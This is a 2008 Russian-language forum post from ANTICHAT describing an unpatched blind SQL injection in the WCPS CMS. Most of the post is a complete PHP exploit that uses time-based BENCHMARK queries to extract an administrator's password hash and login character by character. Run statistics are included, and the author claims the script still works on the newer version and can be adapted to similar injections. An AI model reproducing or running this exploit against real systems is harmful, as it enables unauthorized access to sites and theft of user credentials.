HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #20  
Старый 09.02.2008, 15:23
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

SQL injection WCPS v.4.3 ***
С этого дня я могу называться маньяком. Поздравте меня, я написал сплоент под BENCHMARK...

Ладно приступим к описанию баги. Уязвимый файл php/cron_jsnews.php. Строка 49 гласит:
Код:
$results = MYSQL_QUERY("SELECT id FROM ".$wcpref."${nma}_stat WHERE lang='$portal_lang' AND da>0");
Ну и переменная $nma не фильтруется. Но к сожалению в данном случае требется register_globals=on.

Теперь перейдем к минусам. Из этого запроса нету прямого вывода, и нет вывода ошибок. А это значит что юзать нам только посимвольный перебор с помощью BENCHMARK (я представляю отвернувшиеся лица, но советую дочитать до конца).

Я согласен что эта скуля не ахти как юзабельна, но со сплоентом, пусть это занимает время, но всеже работает, да-да именно со сплоентом). Вообще я редко встречал эксплоиты подобного рода, ну чтож вот и сам сплоент:
PHP код:
<?php
/*----------------------------------------*\
Exploit for cms WCPS v 4.2.1
Blind SQL injection (use Benchmark)
Author: I-I()/Ib
\*----------------------------------------*/
//---------Основные настройки-------------//
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//
//--------Дополнительные настройки--------//
$set['retfile']=false;//true-запись в файл, false-Вывод на экран
$set['retname']='return.txt';//Имя файла для вывода
//----------------------------------------//
//----------Настройки BENCHMARK-----------//
$set['timbench']=5;//секунд для задержки создаваемой BENCHMARK-ом
$set['pmbench']=1;//погрешность в секундах
$set['cntbch']=3;//Количество запросов для определение среднего времени ответа
$set['bnzn']=99999;//Начальное значение иттераций BENCHMARK-а
//----------------------------------------//

set_time_limit(0);
ignore_user_abort(true);

function 
create_packet($num,$sumb,$znak,$zap=false,$column='user_pass'){
    global 
$set,$btime;
    if(!
$zap){
        
$tmp="user WHERE IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",BENCHMARK(".$btime['bnzn'].",MD5(current_time)),'1')/*";
        
$tmp="nma=".urlencode($tmp);
    }else{
        
$tmp=$zap;
    }
    
    
$header="GET ".$set["patch"]."/php/cron_jsnews.php?".$tmp." HTTP/1.0\r\n";
    
$header.="Accept-Language: en-us,en;q=0.5\r\n";
    
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png;q=0.5\r\n";
    
$header.="User-Agent: 1\r\n";
    
$header.="Connection: keep-alive\r\n";
    
$header.="Host: ".$set["host"]."\r\n\r\n";
        
    return 
$header;
}

function 
logg($str,$type=1){
    global 
$set;
    
    if(
$set['retfile']){
        
$fp fopen ($set['retname'],'a');
        
fwrite ($fp$str.($type===1?"\r\n":''));
        
fclose ($fp);
    }else{
        echo(
$str.($type===1?"<br>\r\n":''));
        
flush();
    }
}

$btime['sred']=5;
$btime['btime']=10;
$set['count']=0;

function 
send_packet($packet,$type=1){//type=0 -возврат времени запроса; 1-возврат boolean; 2-возврат ответа сервера
    
global $set,$btime;
    
    
$set['count']++;
    
$btime['start']=time();
    
$dt='';
    
    
$fp=fsockopen($set['host'], 80);
    
fwrite($fp$packet);
    while(!
feof($fp)){
        
$dt.=fread($fp1024);
    }
    
fclose($fp);
    
    
$btime['stop']=time();
    
$btime['all']=$btime['stop']-$btime['start'];
    if(
$type===1){
        if(
$btime['all']>=$btime['sred'])return false;
        else return 
true;
    }elseif(
$type===2){
        return 
$dt;
    }else{
        return 
$btime['all'];
    }
}
$set['start']=time();

logg('<b>'.$set['host'].'</b>');
logg('<b>Определяем среднее время ответа сервера...</b>');
for(
$i=0;$i<$set['cntbch'];$i++){
    
$ret=send_packet(create_packet('','','','tmp=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'),0);
    
logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
    
$btime['bngrzk'][$i]=$ret;
}
$tmp=0;
foreach(
$btime['bngrzk'] as $val)$tmp+=$val;
$btime['bngrzk']=round(($tmp)/(count($btime['bngrzk'])));
logg('Среднее время ответа сервера: <b>'.$btime['bngrzk'].' сек.</b>');
$set['timbench']+=$btime['bngrzk'];
logg('Оптимальное значение задержки создаваемой бенчмарком '.$set['timbench'].' сек.');
logg('');
$btime['oktime']=false;
$btime['bnzn']=$set['bnzn'];
logg('<b>Подбираем кол-во итераций BENCHMARK-а...</b>');
for(
$i=0;$i<20;$i++){
    
$ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
    if(
$ret<($set['timbench']-$set['pmbench'])){
        
$tmp='Мало.';
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        if(
$ret===0){
            
$btime['bnzn']=$btime['bnzn']*$set['timbench'];
        }else{
            
$ret=($set['timbench'])/($ret);
            
$btime['bnzn']=round(($btime['bnzn'])*($ret));
        }
    }elseif(
$ret>($set['timbench']+$set['pmbench'])){
        
$tmp='Много.';
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        
$ret=($ret)/($set['timbench']);
        
$btime['bnzn']=round(($btime['bnzn'])/($ret));
    }else{
        
$tmp='Подходит.';
        
$btime['oktime']=true;
        
$btime['timbench']=$ret;
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        break;
    }
}

if(!
$btime['oktime']){
    
logg('Не удалось попасть в рамки '.$set['timbench'].'±'.$set['pmbench'].' сек.');
    
logg('Возможные причины:');
    
logg('-Уязвимость залатанна');
    
logg('-Неверный префикс');
    
logg('-Маленький диапазон погрешности');
    
logg('-Так сложились звезды...');
    die();
}
logg('Число итераций <b>'.$btime['bnzn'].'</b> укладывается в '.$set['timbench'].'±'.$set['pmbench'].' сек.');

logg('');
logg('<b>Определяем среднее время ответа сервера с нагрузкой...</b>');
for(
$i=0;$i<$set['cntbch'];$i++){
    
$ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
    
logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
    
$btime['timebench'][$i]=$ret;
}
foreach(
$btime['timebench'] as $val)$tmp+=$val;
$btime['timebench']=round(($tmp)/(count($btime['timebench'])));
logg('Среднее время ответа сервера с нагрузкой: <b>'.$btime['timebench'].' сек.</b>');
$btime['sred']=round(($btime['timebench']+$btime['bngrzk'])/2);
logg('Крит. число секунд: <b>'.$btime['sred'].' сек.</b>');
$btime['timbench']=$btime['timebench'];

$ret='';
logg('');
logg('Все подготовительные запросы звершены');
logg('Приступаем к работе...');
logg('');
logg('<b>Выдираем хеш...</b>');
logg('<sub>(Пока можно сходить и попить кофе... Это относительно долго...)</sub>');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=48;//Код символа "0"
    
$maxs=103;//Код символа "f"
    
while(1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        if(!
send_packet(create_packet($i,$sred,$znak),1)){
            if(
$znak==='>')$mins=$sred+1;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        if(
$i3>10)break;
        else 
$i3++;        
    }
}
if(empty(
$ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
$ret='';
logg('');
logg('<b>Выдираем логин...</b>');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=256;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        if(!
send_packet(create_packet($i,$sred,$znak,false,'user_login'),1)){
            if(
$znak==='>')$mins=$sred+1;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        if(
$i3>10)break;
        else 
$i3++;        
    }
    if(
substr_count($ret,chr(0))){
        
$ret=str_replace(chr(0),'',$ret);
        break;
    }
}
if(empty(
$ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');

$set['stop']=time();
logg('');
logg('<b>Статистика:</b>');
logg('Затраченно '.($set['stop']-$set['start']).' сек.');
logg('Всего '.($set['count']).' запросов.');
logg('Среднее время ответа '.round(($set['stop']-$set['start'])/($set['count'])).' сек.');
?>
Небольшая вставка статистики работы сплоента:
Цитата:
Статистика:
Затраченно 778 сек.
Всего 270 запросов.
Среднее время ответа 3 сек.
При небольшом знании пыха этот сплоент можно переделать изменив пару строк под любую скулю подобного рода.

*** - примичание: как не странно но, эту Уязвимость они даже непытались залатать - сплоент отлично работает и в новой версии.
Вложения
Тип файла: zip sb_exploit_js_news.zip (2.7 Кб, 15 просмотров)
__________________
Кто я?..

Последний раз редактировалось Grey; 12.02.2008 в 22:34..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Сценарии/CMF/СMS 49 02.04.2015 17:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ